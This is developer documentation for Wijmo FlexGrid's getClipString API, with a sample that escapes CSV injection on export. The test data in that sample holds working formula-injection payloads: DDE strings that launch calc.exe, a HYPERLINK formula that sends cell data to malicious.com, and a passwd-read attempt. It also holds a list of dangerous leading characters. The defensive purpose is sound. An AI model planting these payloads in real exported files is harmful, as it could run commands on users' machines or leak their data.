# Clip String

## Content

Wijmo FlexGrid control provides ability to gets the content of a `CellRange` as a string suitable for copying to the clipboard or exporting to CSV (comma-separated values) files.

```javascript
import { FlexGrid, CellRange } from '@mescius/wijmo.grid';

const theGrid = new FlexGrid('#theGrid', {
    itemsSource: data
});

// get clip string from the specific range of grid
const clipString = theGrid.getClipString(new CellRange(0, 0, 2, 2));
console.log(clipString);

// the result of clipString will be like:
0    Japan	Stereos
1    Greece	Cars
2    Italy	Cars
```

You can control the output format by configuring the second parameter of this API.
For detailed usage, refer to `getClipString` and `ClipStringOptions`.

***

The process of obtaining the clip string involves extracting the value of each cell individually and then stitching them together before outputting.
Therefore, Wijmo also provides users with an opportunity to process these values after extracting each cell's value by subscribing to the `gettingCellClipString` event.
This will be beneficial for scenarios such as data reprocessing or preventing CSV injection.

```javascript
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';

const grid = new FlexGrid('#theGrid', {
  itemsSource: getData()
});

// process cell clip string
const convertMap = ['One', 'Two', 'Three'];
grid.gettingCellClipString.addHandler((grid, e) => {
  const cellData = e.data;
  e.data = convertMap[cellData];
});

// get clip string
const range = grid.viewRange;
const clipString = grid.getClipString(range);
console.log(clipString);

// the result of clipString will be like:
One	Japan	Stereos
Two	Greece	Cars
Three   Italy	Cars
```

***

This sample demonstrates how to export results that **prevent CSV injection** through `gettingCellClipString`.

```javascript
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';

const grid = new FlexGrid('#theGrid', {
  itemsSource: getData()
});

// handle CSV injection with event
grid.gettingCellClipString.addHandler((grid, e) => {
  e.data = escapeCSVInjection(e.data);
});

// export to CSV file
const clipStringOption = ClipStringOptions.CSV | ClipStringOptions.QuoteAll;
const range = grid.viewRange;
const clipString = grid.getClipString(range, clipStringOption);
saveFile(clipString, "export", 'text/csv');

// core logic for escaping CSV injection
function escapeCSVInjection(content) {
  // handle the normal formula
  const dangerousStarts = ["=", "+", "-", "@"];
  const needEscape = dangerousStarts.some(char => content.indexOf(char) === 0);
  if (needEscape) {
    return `'${content}`;
  }
  // handle the formula with " before
  const containsQuote = dangerousStarts.some(char => content.indexOf('"' + char) === 0);
  if (containsQuote) {
    return content.replace(/^"([=\+\-@])/, (match, $1) => '"\'' + $1);
  }
  // handle the split and wrap situations
  const containsWrap = content.indexOf(";") > -1 || content.indexOf("%0A") > -1;
  if (containsWrap) {
    return content.replace(/(\;|%0A)([=\+\-@])/g, (match, $1, $2) => "'" + $2);
  }
  return content;
}

function getData() {
  const dangerInfos = [
    "=cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "+cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "-cmd|' /C calc.exe'!A0",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    "@SUM(cmd|'/c calc'!A0)",                            // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
    '=HYPERLINK("http://malicious.com/"&A1,"Click Me")', // malicious formula, it will open phishing website
    '=../etc/passwd',                                    // stealing information
    '=IF(TRUE,IF(TRUE,IF(TRUE,...)))',                   // infinite loop
    ';+2-1',                                             // split execution
    '  %0A=2-1'                                          // execute on the next line
  ];
  const data = [];
  for (let i = 0; i < dangerInfos.length; i++) {
    data.push({
      id: i,
      formula: dangerInfos[i]
    });
  }
  return data;
}
```